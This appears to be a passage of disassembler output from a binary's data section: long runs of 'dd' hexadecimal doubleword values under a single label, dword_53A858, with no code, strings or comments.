dd 5C002918h, 0EB214FFBh, 0A009AF06h, 0DA919E8h, 879CACD8h
dd 14F0F188h, 0A04C49F8h, 2C4E938h, 9889B367h, 0BA88AB0h
dd 0C00109B1h, 5497997Ah, 5D804791h, 0CBFA63E8h, 18E17738h
dd 0F6217E2Bh, 0E3602634h, 0F9467480h, 0EBFC7005h, 0DC40966h
dd 60D2DCA4h, 1097A68Ch, 0C8C9A331h, 44F48021h, 341702A9h
dd 3637606h, 0F99161Eh, 0C4BD8350h, 27A03E8Bh, 2021DF80h
dd 0F4A49A01h, 57BF4582h, 50CFF9C4h, 8C69D8E8h, 8E779204h
dd 1862A9E4h, 778A2720h, 0FC7449B5h, 61C04588h, 2162D4B0h
dd 0D0914A6Eh, 0AF699A00h, 0F4D51FACh, 60788103h, 0E0046Ah
dd 4B1D9F21h, 0AA2B45AEh, 8777FA39h, 91F2CE98h, 4980A42Ah
dd 6AF3748Bh, 1B920010h, 999620D6h, 31E87871h, 7D1498B8h
dd 356C692Ah, 54CC56BCh, 956F0231h, 7B9B4EF0h, 18D3C491h
dd 50A96541h, 0DEC4629Bh, 0A990F527h, 7CFC0F29h, 0EB667B87h
dd 6574B88Ch, 7F05DC79h, 0ABD20AFh, 0FCE9A80h, 0A8A9001Ah
dd 7EA37AE2h, 683BFB8Ah, 7B2A8CB9h, 486D3917h, 9186F066h
dd 0A600F9F3h, 0CD99659Ch
dword_53A858 dd 25B73E41h, 50A104B8h, 0FCF14B20h, 7C009C0Bh, 0B7CB3AFCh
dd 501907E8h, 0FAA72C1Eh, 99E200C8h, 38066EB2h, 54002FE5h
dd 403AE7EBh, 3B87EC2Eh, 885027D8h, 88028CD6h, 433193A6h
dd 102319C8h, 3A940F8h, 0BE4BC6BCh, 191439E4h, 0C0F019BAh
dd 917046E3h, 0B14E010Fh, 48E93AEEh, 4324209Bh, 0B01B028Ch
dd 533E62DAh, 9C10CF19h, 5109B063h, 111DE1D5h, 89206080h
dd 0D35E009Bh, 29AE5749h, 4A004E35h, 1404B44Fh, 601D95C8h
dd 0C0203164h, 5A01AEA4h, 0D8AC6E54h, 0C8220F7Ah, 873025F2h
dd 0E44B0FDh, 35958060h, 22E8A0D4h, 2674008Ch, 0B95E3250h
dd 0E55CC82Ah, 8CDEE8ECh, 49FADA00h, 23772C6Ch, 78421E75h
dd 435203B7h, 3AE8541Fh, 5E016BC4h, 0B91C6EA0h, 0B420AA29h
dd 47FDF143h, 982C2980h, 97D1BCD9h, 0C9337370h, 3E080Fh
dd 0D8900921h, 0C11A04BCh, 6BFB550Fh, 434C8018h, 187B57Fh
dd 30E9A7E2h, 98419E4Fh, 5C212A08h, 58771BDh, 79126885h
dd 0CB3180D3h, 0EE1FB515h, 61C78386h, 6491A1E0h, 1C399D2h
dd 0C9EA1F38h, 0D1C57363h, 0F437F06Eh, 0A47381Bh, 0E2CDD021h
dd 2E82008Bh, 80D46829h, 0BC18B18Ah, 4CB84B71h, 62607D2h
dd 0EFA93AB5h, 0C79F93A0h, 107B9991h, 0D1E05D00h, 0B8D6A5BEh
dd 9DA34C02h, 15C9440Bh, 0FCAA3D81h, 47A344B6h, 0B02F1784h
dd 57DFE5DEh, 9DF55E00h, 4E13FB74h, 32280387h, 4F6CBFFDh
dd 33EC3100h, 1E5F1C6Fh, 76D30373h, 4B6DC3C8h, 65532101h
dd 0F563A3FEh, 2EEB3FCh, 0CC3D4EC0h, 84B093D2h, 0F2181413h
dd 2ED9D371h, 0AB1800FFh, 0AEC355E8h, 9E029A64h, 29744620h
dd 97C980D7h, 129F0623h, 0FBD20A6Bh, 1352AC05h, 0EA6FCC40h
dd 0C7B165CFh, 404B10F8h, 0CB98819Bh, 0A1EDF600h, 8785EE5Ah
dd 1DC900DEh, 9B80093Fh, 7F1DD4BEh, 92075E02h, 57E0244Fh
dd 7134956h, 0ECF7FABAh, 58E95653h, 0D8E87790h, 68B9D263h
dd 19810021h, 0D31067EBh, 0F2B0D78Ch, 0CA53BF0Dh, 0D4DC2126h
dd 0A1111E8Bh, 0E9C040C2h, 1DC712ECh, 5553EF12h, 3DA04021h
dd 0F5419C40h, 34C9008Fh, 0CBAFD616h, 0DE059F4Dh, 68270E28h
dd 2B0B2C00h, 0B8D5F6h, 95B1424Fh, 640183D4h, 0F84E2430h
dd 0EE75975Fh, 0D44D5581h, 0CC4A6081h, 801D69E0h, 7EADDA49h
dd 96D03F3h, 0EBE98253h, 0A2461C00h, 0F1C04971h, 0B32D7833h
dd 0ACE400B5h, 50BCF196h, 6B0CBBEEh, 294C7104h, 0A6B1009Fh
dd 86BEB3D0h, 4724E379h, 1FBA0005h, 40009919h, 342FF39Ah
dd 0F7543E37h, 0F0DDBF0Ch, 0C1021E78h, 0A07DE93Ch, 7614463Eh
dd 2ED400B3h, 0F3B6FAFh, 4E007079h, 46F565AAh, 714B7CFDh
dd 9FED005Dh, 0B8E883CFh, 8907B612h, 14CC406Bh, 0D25DB420h
dd 9108629Ch, 8CA0396Ch, 8C88EF3Ch, 0A0872E03h, 88188B9Fh
dd 15B20BEh, 0C0B58119h, 0D1A9E3E2h, 0A4A0DE1Bh, 23684941h
dd 7E2588h, 19B1DA51h, 0E6550B8Ch, 7222B3Bh, 3732A470h
dd 0D766C3h, 0BD7BB2A0h, 24051012h, 9060D44Ch, 4C492AC0h
dd 3B7F038h, 0A8F9FB64h, 222AE8A0h, 3B6B00FDh, 0C0679F6Dh
dd 7D009530h, 0A1BA1AC8h, 0ECD3BE35h, 509806E5h, 0A1A4D276h
dd 0A60134B0h, 0EA82FB40h, 0B841B59Ah, 40E6FC16h, 606C1074h
dd 3D27794Eh, 4739A925h, 410D307Fh, 7D8336h, 1EFE07B7h
dd 0C3035C2Eh, 0D2EDE100h, 7AD4BD75h, 50110F77h, 0F1C1BA3h
dd 5262D3E4h, 0E4A04874h, 0DB6FC30Eh, 1830EA00h, 3F9E7613h
dd 0AB39032Ch, 2E6804BBh, 0E2EEB118h, 0A5389Ch, 0C3AEAD20h
dd 0AC296A69h, 51EDBD7Fh, 0D4573758h, 35612F31h, 5ADB6788h
dd 0C0D5FD70h, 0D7599379h, 4E00628Fh, 729B2E49h, 0A07A04h
dd 93A245B2h, 0E2F71F5Fh, 0CC90B571h, 24BD1944h, 84A86686h
dd 0C898D3E9h, 89021668h, 74E72760h, 0F23320D7h, 0BA0051DFh
dd 111D31F5h, 18EE7B23h, 390BA6D2h, 0B9DED405h, 4402E613h
dd 80E7D57Ah, 5DDB1AC8h, 525CA071h, 0B7B60084h, 483E49C4h
dd 0C70133E3h, 2345BCBh, 298141CEh, 7450ED56h, 841189DFh
dd 8E5D80B8h, 0FA6A29h, 385C378h, 4A3FB9E5h, 0B127D700h
dd 0EBB47B1Ah, 35CE269Fh, 720B60F8h, 9700467Ch, 6F373C18h
dd 12EB9E7Eh, 0DFD5A3h, 5931C0FCh, 9C98931Bh, 25E2961Dh
dd 0B0086112h, 28999F0Fh, 22D8909Ch, 242621CFh, 0F4B4898h
dd 447EE155h, 1C40A7D2h, 0A047BF1Dh, 74928FE4h, 3D5A0567h
dd 33C90569h, 99D09F9Ch, 0EEEE1BBCh, 0E473B80Eh, 4F740A3h
dd 486F82ECh, 24034DB0h, 256B9415h, 18778100h, 0F0A7DCA6h
dd 0A7F1D87h, 49077D3Ah, 2056EEC1h, 1CC053BCh, 1D431D4h
dd 1525BF16h, 50226B96h, 95D4D82Dh, 0FF2BF800h, 48468D7Ah
dd 3205AC68h, 81ADC2Dh, 4CA44CF4h, 492C3300h, 98CFEBB6h
dd 0F10367B0h, 0E2B82198h, 3CC6FCAEh, 0A84D2200h, 0C0A7F25Eh
dd 0D0BF0B4Fh, 2C0213B4h, 8661D8BAh, 0B25983D1h, 0E03AC19Ch
dd 0A78016h, 0EF5EDDBh, 83A5EEDAh, 2C3F5724h, 31FE6800h
dd 162C9AA6h, 206BF007h, 23E8FC00h, 74FAB07Fh, 0FE594D63h
dd 7A83882Fh, 800C9121h, 93B0F913h, 0CA00A1E2h, 68889FD8h
dd 3D9BFFB5h, 8B80EB14h, 0BE9387AFh, 0F4A46CDFh, 3DC5A04h
dd 7E08BC41h, 0D674B486h, 99950071h, 23D980D3h, 4B00D2F3h
dd 0E003C0CEh, 61BE6Fh, 9F13B7E6h, 0ECD148A1h, 17BD7D02h
dd 41BFB895h, 0AD104CF4h, 382A6132h, 0ED00DC18h, 219FB4B0h
dd 2AF64EB5h, 3D686E78h, 910068FBh, 8F7B301h, 4D109EB8h
dd 0EA580469h, 941B6815h, 56D87825h, 96458205h, 77C037BBh
dd 13D9E39h, 0ED2D59D9h, 50BA11CCh, 37A8D630h, 7C035800h
dd 0E5BD20F2h, 0A2EB09B7h, 4010197h, 3034A170h, 0C49048FCh
dd 5078307Eh, 8534C948h, 98400446h, 2F3328A5h, 834200ECh
dd 0FBEDC76Eh, 850E4135h, 0E1BA8E9Eh, 1213CC3h, 0FC23BC71h
dd 1C229858h, 2D586E79h, 5BD401C4h, 0D102EDFCh, 0B10B2432h
dd 0B60C6882h, 0EC008011h, 970C100Ah, 97A4A92h, 32DA46Ch
dd 56898C80h, 0FB335DDDh, 0F37B5098h, 0C9E001D5h, 7C61863Eh
dd 80E42817h, 3DF4D683h, 203A0148h, 4610C91Dh, 8EA98E07h
dd 0D1924017h, 0CF2FF3Fh, 2768F6EEh, 0EF0053B9h, 2E4A8597h
dd 4CA063C3h, 4500445Dh, 0CDBD0B5Ch, 289171B5h, 0D38BE700h
dd 2690F795h, 12996569h, 4170307Ch, 0D00B346h, 0F6126279h
dd 6BBC2FCh, 6C43E001h, 4600B156h, 0A24B7535h, 0F13D44h
dd 0CAD7F52Fh, 329F6BEEh, 0D5ED0E00h, 0CD27CC5h, 2C97C56h
dd 9BF0C191h, 0EC8033A1h, 0DE74BED9h, 3D6979C0h, 98D27036h
dd 32AC18A4h, 471BEE2Fh, 98A601Fh, 0E1EC2B04h, 6F0000B6h
dd 0CDD452Ch, 300AFE08h, 9C7CA1D2h, 0B140678Ch, 0C60300BDh
dd 8221AC3Fh, 4D0099C4h, 85F56664h, 1706209Ch, 14BE7A8h
dd 7467FFDCh, 81221048h, 2ABA32FDh, 0C06BF46Ch, 0B749A7D0h
dd 1825F790h, 1EC0048h, 2CC2B043h, 4254D002h, 685A469Eh
dd 9B550100h, 57E18E81h, 0CB0229B1h, 0A5D209CCh, 83130866h
dd 0BC0330EEh, 3C6C37h, 2B9CAFC9h, 0A299154Eh, 2517E200h
dd 67DB18CFh, 0FEAA007Ch, 64B7E156h, 1659AD2h, 9C00B451h
dd 0EA89D4BFh, 128F8AFh, 9DD7D6EDh, 20AA089Ah, 3A730C8Ch
dd 3DEC7F59h, 5D58CB9h, 0D277F092h, 889802D4h, 4C11732h
dd 3809151Ah, 0F04818ECh, 0B97A0066h, 0E26010FCh, 8B3A86BEh
dd 961207E5h, 5F80BFF1h
dd 2687F7B1h, 40246B74h, 0F3E3747h, 0F860711Ch, 0A3DEAC07h
dd 51822532h, 37BA0504h, 30D0C0B6h, 280B586Bh, 1AD11BFh
dd 78E964A8h, 6A189C23h, 29705458h, 72486800h, 1AF9BC27h
dd 0C81B0B6h, 126B06C3h, 0D800CE81h, 2DEA724h, 2B183A3h
dd 0C3BDA6B5h, 30592D90h, 7A077C07h, 0ED1CDB0h, 0B449177Eh
dd 0B8302071h, 47FABAEEh, 31A92B00h, 84D6A9Eh, 3F047E07h
dd 1900F984h, 3AA1EAD7h, 1C0088A4h, 0F86FC69h, 3299B54Eh
dd 0B3C10640h, 6694A2C0h, 7492E48h, 9E96A2CEh, 959AB781h
dd 58C9FFF4h, 0C10430E0h, 0C8D6024Bh, 883986F8h, 0A2F2003Eh
dd 0F385EE51h, 0E708DD97h, 0FD473418h, 0D85EA303h, 0E07E0DD6h
dd 262240F5h, 28C64D52h, 3A6D2240h, 7E7DD639h, 11AD8700h
dd 21782C64h, 0FE8F0193h, 840B61A9h, 1EE06247h, 7D8325B9h
dd 0A069E21Ah, 1E9A9901h, 7FAF1752h, 594A8D1Bh, 60A10CD8h
dd 2A565327h, 86003C60h, 9FEA5D26h, 0CC42F31Fh, 8E284080h
dd 0ABCDFED2h, 0E39CF864h, 0FBA63D45h, 87867500h, 0E0673A31h
dd 30F88532h, 0D83C61C7h, 90793060h, 0B7930288h, 681D4CA4h
dd 830084E4h, 1794F467h, 0ED8AACh, 0C8E42DCBh, 0C0E98F96h
dd 53A7DF09h, 0C58019CAh, 90E24C20h, 0D1ED096Ch, 4803CF7Ch
dd 0BC02EC33h, 469210C7h, 0C98CA002h, 1C5E8DE4h, 4B5CEFAEh
dd 0DF018331h, 61B2152Ch, 28A842DCh, 0CDA110h, 79787AE0h
dd 6F704982h, 7F360F0Eh, 261BA2A2h, 6EFCE09Dh, 0AEF6043Dh
dd 0A2D3E946h, 0B43C38h, 771D25E1h, 7CED8C0h, 0D452659Dh
dd 16D1808Bh, 6F25B7A5h, 0A71CA067h, 0F82AEE0Fh, 5C6D001Bh
dd 159FE304h, 53B87F4h, 83B200B0h, 47E0564Fh, 8469C00Ch
dd 1A207BA3h, 4278FD0Ah, 0ECAC8C72h, 1D001448h, 1A90548Ch
dd 3EFC4C10h, 47A8204Bh, 3400F5B7h, 36E4B81Eh, 2161992h
dd 0BD8B6AC3h, 0F520DF71h, 530AB3h, 6CD34D14h, 8CA1E8Dh
dd 0EF80D41Ch, 893D20C9h, 526C00C2h, 0A82469ECh, 0A01EE9A8h
dd 2DDB84E4h, 0DDC0CBA7h, 0A424BAA2h, 5B60F47Bh, 17615963h
dd 3E8A6E9h, 0D074EF89h, 0CB9D810Eh, 5AECC7BDh, 850173D0h
dd 5C3500B6h, 9CD8DEAEh, 0E098BC4Bh, 516CE211h, 0A9E026h
dd 0B120A0B5h, 6B5C755Bh, 94F78040h, 6B725CFh, 3056182Fh
dd 483740B2h, 0DFA49C13h, 22273C82h, 90718A24h, 3EB41594h
dd 2099251Bh, 4A50A130h, 0BB35009Ch, 0E482EB78h, 4F07EAD2h
dd 0D105750Ch, 0D02685Ah, 5A6B0156h, 0E3100048h, 14038651h
dd 0F6124213h, 0B090745Fh, 0A16B67h, 0DD9D7117h, 0BC6F58Eh
dd 0BDF2A600h, 0B72FBC3Eh, 58E2E287h, 744400B2h, 941F009Ah
dd 791E5B7Eh, 53E44EBCh, 4359C160h, 12451117h, 26559FD2h
dd 1600E060h, 1E2F6BD4h, 98E1E329h, 0FE1CA6A0h, 0F54E00F0h
dd 76708BC4h, 1A245381h, 0CD13C4F1h, 0DD1C88h, 8CBDDFB6h
dd 25071BEFh, 30BC5F00h, 64122BE3h, 190C006Eh, 0FD8F18C9h
dd 404CE8B1h, 0FE5C9F68h, 0D903600h, 2FB3E12h, 0D1A2F06Bh
dd 304468EFh, 2ED25300h, 1ADFB319h, 42AE0298h, 8D22DA62h
dd 0FF8F063h, 0C5013920h, 0F24AA2EBh, 0C8609686h, 7B9D01A3h
dd 0E11417BDh, 7E082D47h, 0D0F59400h, 914EC9DCh, 6177911h
dd 8EECCEFEh, 8D74380Dh, 0B9EE2F00h, 0BEFA74CDh, 0ECBD5CDAh
dd 0F3C8B8C0h, 248B52Dh, 0B7181314h, 0A10FEC30h, 8B96005Bh
dd 0DE821AD0h, 0AF010477h, 0F824AD22h, 0CC6C9111h, 0FB3C7480h
dd 0BB004A78h, 7A1D2425h, 212B1E6h, 0A0B615AEh, 1471CD53h
dd 5D731D01h, 0B8688025h, 0F0B184DCh, 212CC0EDh, 30B84261h
dd 0ECCA6B24h, 6C4E8203h, 76310037h, 3E2745FFh, 0E97F3F9Fh
dd 0B95C7100h, 0FD163537h, 0DB6630D6h, 13BE8AD8h, 25A1C705h
dd 38024C98h, 465D1756h, 8D800F60h, 1A175FAh, 2EDBEAA8h
dd 6CD44F0h, 0EDF85E40h, 6109904Dh, 0C40379EEh, 4720000Ch
dd 5FB0551Bh, 0AA3821A4h, 69E60917h, 0F8E84B67h, 0AC08D9h
dd 0B9C7315Fh, 1DB711C5h, 23CD0B0Bh, 19DE8043h, 30E34861h
dd 5BA91840h, 3300F794h, 0D213F1B3h, 12C2FFA3h, 0AFC14BCh
dd 0CF0B4A4h, 4FD08C56h, 0CAD1025h, 7CE810B0h, 0C32B8B5h
dd 0BE6E9EB3h, 0FD261DC0h, 58265F2Bh, 57B47140h, 989EAEFh
dd 0E511FA35h, 0D2DB9084h, 24E3ED58h, 0BD7C40FCh, 0F49A5512h
dd 4F0805CEh, 28F9973h, 59B764DCh, 6357C8C1h, 21BB0FA0h
dd 4AC01CDBh, 30D8B2A1h, 0F47474E0h, 0A76C24CCh, 8B046F3Ch
dd 4EBE800Fh, 1200D39Fh, 0BEF059BFh, 2ED80467h, 49C3Eh
dd 0B3DF9592h, 0B50071C9h, 9E0AC738h, 3DAF98C6h, 88FFAD0Eh
dd 0B8009D60h, 0C7F27B51h, 965CBE0Bh, 46EEC190h, 0C49C40AEh
dd 39C35753h, 0AE6C4243h, 7B00199h, 0D44A38ECh, 0AC82F69Eh
dd 5859B533h, 2348AA00h, 9E26D3h, 0D4053B58h, 6CCCFCBh
dd 0E5104704h, 54B26652h, 0AD22600h, 0DDA9D5B3h, 47989A08h
dd 0F32B8019h, 0D69F362Fh, 7ADE3401h, 0B162A0AAh, 809C2078h
dd 9A8A9540h, 7201D4B6h, 0FA517BEh, 61E01E86h, 3B9F02ECh
dd 0E789A4F6h, 0FD128CE6h, 1CDAE926h, 0D89DD317h, 0E483844h
dd 1D2218h, 781180CBh, 0C003E1CEh, 0C2154A06h, 2305A2Bh
dd 6187CB7Ah, 0D86499D2h, 65A30513h, 32D088h, 6AC2C5ACh
dd 0D382407Dh, 0FDC01D00h, 5B2461F8h, 6BFC2490h, 0F4B04050h
dd 4F01A6C9h, 46634B15h, 0D302C59h, 9AE28Fh, 9833D480h
dd 0E8A3EBB6h, 4C301F58h, 0F6EDC05Ch, 0FA94FB78h, 0A013F829h
dd 5E7C0FAh, 0B8E6F17Ah, 0A024E46Dh, 0FA762400h, 62F6153h
dd 416200C6h, 0BEFEDC88h, 9A381778h, 0C7FCD8B7h, 6763C4FBh
dd 7BCF0A0h, 0AF240736h, 978E5FA7h, 82B485A3h, 60FAC358h
dd 0DF2FD702h, 78682CEFh, 4964B668h, 4E893780h, 300DA37h
dd 3572E433h, 0F091C75Fh, 0D2481226h, 0EAE4D193h, 5B2ED8A6h
dd 0A15E647Ch, 0C7054044h, 19E354F4h, 61586DBFh, 0F03D2113h
dd 0EC1D635Dh, 4A401AA4h, 0BEE661C6h, 0AD0A0916h, 9498D425h
dd 1D0D39C0h, 0C1296B42h, 0B78AC0h, 2ABC3DDBh, 58DD873Fh
dd 0B429720Fh, 0DAD460DFh, 0C02F6804h, 0AC2AB531h, 0D30730A0h
dd 69CFE0FAh, 950CDF60h, 18F14C9Fh, 60018A39h, 0BFDBC0AEh
dd 28B04CB5h, 756454Ch, 0E99BFB29h, 60A0F4E0h, 0AEC70092h
dd 0B4B6D603h, 540B6ECCh, 0B3949EEFh, 1EC13878h, 38ADC33Ch
dd 89255C80h, 0A438C186h, 0D4240C2Ah, 31EC3150h, 8A501744h
dd 87703C9Eh, 3A50A0CBh, 8BE9F8h, 4DEC86F9h, 0B8AC5105h
dd 4808694Ch, 0E0067FECh, 0E38C1525h, 90610FD8h, 0D383B4B0h
dd 9007C60Ch, 47B59D3Fh, 0C3881019h, 765C0F6Dh, 22AB7AEh
dd 4F7807C6h, 1229C0D5h, 982C646Ah, 0BF80D4B8h, 57486D4h
dd 0D2F912A9h, 0EFB4209Dh, 0DE00C1E9h, 6160D06Eh, 0E7E9B05h
dd 0EAD9659Fh, 1D4CC282h, 0EF00C859h, 909D39E6h, 0E3FF0788h
dd 206437A5h, 25991647h, 0C47F1D24h, 4863DD61h, 3674D8h
dd 90D6B7BAh, 5047C9D0h, 78D20226h, 0F7E5E033h, 1600805Ah
dd 30985D5Eh, 9E00A7Bh, 8A8CFC08h, 1EDC9E5Ch, 34A20B06h
dd 391EC898h, 0AE8BF907h, 68A0C93Ah, 1672A112h, 14EF2B78h
dd 8A83EC4Ch, 0BBDDC9E8h, 80A290C3h, 0C4E0618Eh, 88687E60h
dd 840E7B58h, 0E02C8A8Bh, 6E36800Ah, 7C2507CCh, 0A2987E91h
dd 60C0F7A9h, 0B303573Fh, 11CC5DB6h, 98D658CBh, 5A3DC080h
dd 2B03DBB0h, 0EF91A215h
dd 36F00B0Dh, 200954FFh, 8DD42863h, 0A23DF01Ch, 0EB7AB400h
dd 4F792EE4h, 15E5F053h, 0C471467Eh, 9ECE250Fh, 0FD83B7A0h
dd 2007BEA2h, 0EEA5D966h, 61ED436Fh, 5A6DEAFAh, 5B941EC8h
dd 6B41478Dh, 9D55C09Eh, 60073E9h, 1E1CBE9Ah, 1EBB534h
dd 0D5C3F5A1h, 0E89F6C71h, 9E1647EFh, 0C009093Dh, 664C89B3h
dd 198B12B0h, 103402AEh, 8C448F24h, 420034B0h, 31C0FC97h
dd 80C823h, 7ACFB256h, 9B337FD5h, 71578E14h, 2EDD8398h
dd 0F8A59B62h, 161ECFEAh, 303F799Fh, 91115124h, 89327B3Dh
dd 0E84712CFh, 0DF3A1474h, 7D039F0Ch, 0BB53D903h, 6CBF02B5h
dd 464A9061h, 4FB88842h, 0D0DE049h, 60B2003Fh, 7CB93A65h
dd 8D0B9395h, 0C0DAAF23h, 2CBF6728h, 200AC1Eh, 225D0A62h
dd 740044F1h, 0EAA476FEh, 0D7280E94h, 0BD00CA42h, 0BAA5B9FAh
dd 0B44C1A00h, 0D3C96486h, 7C9226D5h, 7B4E1120h, 77136073h
dd 400C6CBh, 0D5B8E386h, 4CDF4C84h, 14904C22h, 5B6E90A0h
dd 656870E9h, 4314CC4Ch, 0D7200190h, 0DD6C87EAh, 8B80DC78h
dd 0CB3880CFh, 9490474Ah, 0F29E9AEAh, 98E40432h, 0ACF769B7h
dd 96FC80B8h, 0E5B9A52h, 37CB51F3h, 0EC463880h, 0EB05D46Fh
dd 0C8532E3Ah, 1BC99002h, 5764419Eh, 9FEC422Ah, 5A07D431h
dd 71ECEC3h, 0B9CC9E19h, 0ECDFE079h, 1F8898D3h, 0BBEE1D5Ch
dd 0B9E9CF53h, 33192680h, 0C74802BFh, 0A6D28210h, 24608A55h
dd 1800502Eh, 0E2A1113Ah, 0DC12456h, 72701B0h, 1BBCFD3h
dd 7088B216h, 679670A7h, 7D6888D0h, 90490044h, 0B552BA9h
dd 0D3014CB5h, 0B7CD32FEh, 4C6269E9h, 0B3C19400h, 2D73A6ECh
dd 86903500h, 1A0F544h, 0A18E0455h, 0A8C153C5h, 30838BC8h
dd 5C17E82Ch, 0DC0340Fh, 0A4A0D872h, 6E908E00h, 1B9D76FDh
dd 0E71204B4h, 0F195805Fh, 8202F00h, 0E08BF447h, 0B12F76ACh
dd 113880D4h, 6E29C292h, 465BFA01h, 71764264h, 68093829h
dd 6507BC59h, 0DC250050h, 2E00C3A2h, 71F0A569h, 24AF5832h
dd 34E202h, 11D7CEF7h, 8E017251h, 14BC678Fh, 0B86C1F0Ah
dd 6294B680h, 1D166448h, 0D41D2A3Dh, 2D08C940h, 9698D201h
dd 40BF93F8h, 992FCE7Ch, 19C07F40h, 0BFA0315h, 2EBC006Dh
dd 0E36375DCh, 7906D206h, 1CDBD3EBh, 0FC0E5348h, 0B5B76509h
dd 649020D0h, 29708088h, 46DD4500h, 9FCD8372h, 0F2F2A6h
dd 0BD0CBAEEh, 3CA1EAE9h, 48FD0490h, 9E021928h, 94C3F064h
dd 52BCC276h, 0B5E60088h, 0E0F795A3h, 0D016ED46h, 4C06451Dh
dd 4850EC04h, 402CCC5Dh, 0A8F440CCh, 661DB8E1h, 0C4C5D969h
dd 8880C554h, 0BA5BB60h, 0B7E1EC80h, 2C57F082h, 8080E429h
dd 3A7DC0h, 0FE3798CEh, 0FD779F39h, 0B0468D2Ch, 14228A16h
dd 2730FA71h, 31D64172h, 3BF7AF02h, 841060BCh, 675F26FDh
dd 0C79C4154h, 0B9B0ECA2h, 0C34E1E00h, 27120CC8h, 90A37D48h
dd 318445Ch, 3280D350h, 41C06D7Ch, 9FAAF8DAh, 0F7FE07A1h
dd 53986AC3h, 0C04B6EF4h, 7125BC02h, 628CC001h, 9E11017Ch
dd 0A8172A3Ch, 0F4002197h, 820079FEh, 30E8C161h, 0F026D89Fh
dd 0E1AC3F7Ah, 968F6E01h, 0CC48F60Fh, 854A25E6h, 0A6322C30h
dd 0E0E3603Ah, 0BF11F659h, 4565C902h, 890B13CCh, 4C71ACh
dd 4A8763CDh, 0DA00E090h, 84991E81h, 26B3578h, 620A2515h
dd 0C84603E5h, 46894F00h, 247FEC76h, 0A05D7566h, 2DB2D984h
dd 3013C953h, 0A7DF00Ch, 0C419872h, 206BED64h, 60000821h
dd 33A718DFh, 2D3B6370h, 0C8905182h, 3D0055C6h, 91EA9279h
dd 69AC0Fh, 28CF75BAh, 0E221B0DFh, 47E60112h, 1BE39420h
dd 8FC50011h, 60CE2B06h, 0E701AC49h, 93AFEC27h, 0A02C5CDBh
dd 8ECFB4C2h, 775A9487h, 98988BFBh, 0C5004B24h, 0B219CCC6h
dd 1E95ADA3h, 0D21DDAFCh, 0D9AC0444h, 0D1B480BCh, 0E72458FBh
dd 0C1085819h, 496E851Ah, 0A9CA474h, 0E242DCF3h, 89DC9000h
dd 0A302E1B6h, 59C8A288h, 0E31E0724h, 7BC910BCh, 39001B4Bh
dd 0E975EAF6h, 90B8048Ch, 0AF5F121Ch, 0F43889A9h, 80008EB1h
dd 0AC740AE8h, 53C9B62h, 56FFA768h, 6C25C0E0h, 0C63ECED6h
dd 86726C7h, 9E202540h, 8CF676h, 524D215h, 561448B1h, 69E01050h
dd 171D3920h, 60BA4347h, 0C9B8B210h, 42447F00h, 7C3F175Bh
dd 1AA801DFh, 7D23AA61h, 0BAB1E47Eh, 90271091h, 39EBAC0Ch
dd 0FA801487h, 78257029h, 2C009CDBh, 83C426DFh, 0FC91D53Ch
dd 1680E8B5h, 0C85017D1h, 0D2077244h, 0BD23842Eh, 0A177D740h
dd 34A612EBh, 0D12CA015h, 0A805FC05h, 88671Bh, 0DE7214B9h
dd 9A018D14h, 88854909h, 2A0BB4Eh, 1B32016h, 40E45647h
dd 5215D5D0h, 0E79FB501h, 5827F9DCh, 3DFCE860h, 250BF6D8h
dd 8044478Dh, 10E74498h, 3BD090h, 16F0B723h, 0E8C3BDF2h
dd 71E93F17h, 0A5397008h, 6A0044C4h, 0C67735EEh, 0EDB416h
dd 4F17603h, 0C9EA6D99h, 7DB88B0Bh, 1D301906h, 787A3CD8h
dd 2E090062h, 81C6FADDh, 99E686BEh, 0FBB2680Bh, 729C686Bh
dd 0F93C3E1Eh, 0F6E4F780h, 0B15D362Fh, 50385809h, 0C2D01168h
dd 62A07DCh, 96EC16B5h, 0E50E923Dh, 449312B1h, 0C800187h
dd 2C315EAh, 1E31D1EDh, 98719BD2h, 409DC910h, 0D7EC134Bh
dd 0EE09B20Ch, 58F89D82h, 14D88834h, 0ED570A1Eh, 13EF38D7h
dd 6998CC92h, 0ECF7A917h, 0CD17F003h, 8A87A196h, 0A43460E2h
dd 44F92D26h, 6D58440h, 0BE01B872h, 1525FD4Fh, 1CF8BD84h
dd 0CEB418C8h, 0DD42B8E7h, 16BF5B1Fh, 0D94D5502h, 0B45191h
dd 49A906A2h, 6C4BF865h, 0C0F97093h, 630748h, 3B624C29h
dd 0B0992DB3h, 94ACEF00h, 0C6A383F3h, 0D9C102ECh, 6D4B603Eh
dd 0DC0058D9h, 8040D726h, 5E700C6h, 0D5BE392Fh, 0BF4E495Dh
dd 12B5888h, 17F8AE4Ch, 70B4E1C3h, 278823B0h, 97F00A8h
dd 55BDEC4h, 310030F4h, 0B8F2142Ch, 14D54C9Ch, 0C446D66Ah
dd 3F63B080h, 8B1470ECh, 0BA822B1h, 44E5B262h, 367E009Ch
dd 0EC8E1D2Ah, 6B5F678Ch, 2DCF8040h, 4F546FDh, 2461AA33h
dd 53CCA48Bh, 178862FFh, 0C0206CB7h, 17F0DACCh, 127C5392h
dd 5ADCB095h, 174099F0h, 0E8D98A43h, 8DDD3000h, 0F9790Dh
dd 32E80FBDh, 5807B951h, 0A1EDB30Ch, 0FED9485Eh, 8E35CC6h
dd 0DC2907C0h, 109893Eh, 589DF88Bh, 22C89040h, 246019CAh
dd 5B0CD2DEh, 0BD7809ECh, 28005F86h, 0B86F82D4h, 4ED3021Bh
dd 5D700099h, 864310CCh, 0D0009D8Eh, 0BD718F2Dh, 24C19BB2h
dd 0FF8C2A1h, 0C98586DFh, 8070AC46h, 0A8D6EF6Eh, 0E2353C3Bh
dd 576900FDh, 225E441h, 620E2F5Eh, 46EC6B9Eh, 38B0048Ah
dd 91898648h, 10C48E24h, 78B0B801h, 5A4FC304h, 9B808C6Ch
dd 0AF837D9Ah, 0CD635002h, 7EE4D593h, 13CA629Ch, 221E8084h
dd 5814E486h, 6C012403h, 98258994h, 0C0E84851h, 7F0798ACh
dd 0C5E0D2EDh, 2C7A9333h, 61584441h, 0F0F71150h, 0FE007427h
dd 973F6163h, 2CCD848h, 25E53E4Ah, 0A8875B1Dh, 2870F953h
dd 791D15FCh, 0D8408C8Fh, 0F0BA1648h, 0D2961324h, 67E092A7h
dd 6000ACE4h, 0C264C3E9h, 0FA91F185h, 0F92805DDh, 0E20A8FB0h
dd 784E1D28h, 0C4900B01h, 1C308566h, 0BDAB1713h, 24143138h
dd 0F93D6075h, 9FC56100h, 201D4D37h, 0FF9D3FA0h, 5657B681h
dd 3368B2DAh, 497E00B4h, 2B80C194h, 308A00E2h, 0B0ECE0F8h
